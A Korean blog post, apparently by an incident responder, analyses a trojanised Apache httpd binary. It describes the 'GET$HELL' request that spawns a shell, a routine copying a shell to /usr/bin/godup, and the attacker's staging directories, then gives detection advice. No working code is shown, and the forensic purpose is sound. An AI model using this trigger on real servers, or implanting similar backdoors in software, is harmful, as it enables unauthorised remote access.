최근 사고조사 과정에서 다른 서버들과 httpd 데몬 파일의 사이즈가 다른게 있다면서 분석을 요청해 왔습니다. 다른 서버에 존재하는 httpd 파일의 사이즈를 확인은 못했지만 사이즈가 다른것보다 약간(?) 컸습니다. 제가 자기고 있는 리눅스에서는 1.2M와 1.4M인데 변조된 httpd는 무려 두배의 사이즈를 갖는 2.87M였습니다. 물론 사이즈만으로 악성이냐 아니냐를 판단할 수 없지만 일단 의심스러워 보였습니다.
httpd 파일을 까보니 정상적인 아파치 기능들이 모두 있는 것으로 보아 정상 소스코드에 백도어를 심고 재컴파일을 한 것으로 추정됩니다. 분석 당시에 변조된 소스코드가 존재하지 않았지만 메모리 덤프에서 /var/tmp/aa와 /var/tmp/.bb 라는 디렉토리에 다른 변조 파일과 루트킷 경로가 있는 것으로 보아 이 디렉토리에 소스코드를 푼 후 재컴파일한 것으로 보입니다.
[변조된 httpd의 기능]
1. URL에 GET$HELL을 입력할 경우 /bin/sh가 실행되면서 Reverse Connection 생성
http://victimhost/GET$HELL 이런식으로 말이죠...
물론 웹브라우저에서 하면 리버스쉘 연결 안됩니다.
telnet을 이용해서 접속했었습니다.
해당 기능은 _shell 함수에 구현되어 있었으며 ap_read_request 함수에 의해 호출되고 있었습니다.
보시는 바와 같이 GET$HELL이 들어오면 /bin/sh를 실행합니다.
2. 아파치 데몬 실핼시 쉘프로그램을 /usr/bin/godup으로 복제하는 기능
Thanks to 협군
신(God)인지 아닌지 확인하는 CheckGod이라는 함수가 존재하였습니다.
간단하게 요약해보면,
CheckGod 함수는
1) /tmp/.godoff 파일의 존재 유무를 확인하고
있을 경우 쉘 존재 여부 확인하고
없을 경우 종료 루틴으로 이동
2) /tmp/.godoff 삭제하고 쉘(/bin/bash, /bin/ksh, /bin/sh 중 하나)을 /usr/bin/godup으로 복사
웃긴건 /bin/bash가 아니라 /bin/dash로 되어 있다는 것입니다.
아마도 원본 아파치 소스코드에 악성 코드 삽입하는 과정에 실수이지 않나 생각됩니다.
httpd가 위와 같은 행동들을 하는지 직접 구현해봤습니다.
실서버와 완벽하게 동일한 환경이 아니다보니 약간의 제약이 있었습니다.
이번에 웹서비스를 하는 child 프로세스 중 하나에 trace를 걸어 봤습니다.
child 프로세스가 5개였는데 그 중에 어떤놈에게 붙을지 몰라서 여러번 시도한 끝에 아래와 같이 연결되는 것을 확인할 수 있었스빈다.
공격자는 telnet victim_ip 80으로 접속하면 아래와 같이 daemon 계정으로 /bin/sh가 실행되는 것을 확인할 수 있었습니다.
공격자 화면입니다.
환경이 달라서인지 아니면 이렇게 리버스로 연결했을때 사용하는 명령이 따로 있는지 확인은 못했지만 명령이 제대로 실행되지 않는 것은 확실했습니다. -_-;;
공격자가 컴파일했던 소스코드가 있었다면 더 좋았겠지만 안타까울 따름입니다.
사용중이신 httpd의 사이즈 확인해보시고 strings로 문자열 뽑아서 GET$HELL이 있는지 확인해보시기 바랍니다.
있다면 100%입니다...-_-;;
피드 구독하기:
글 (Atom)





















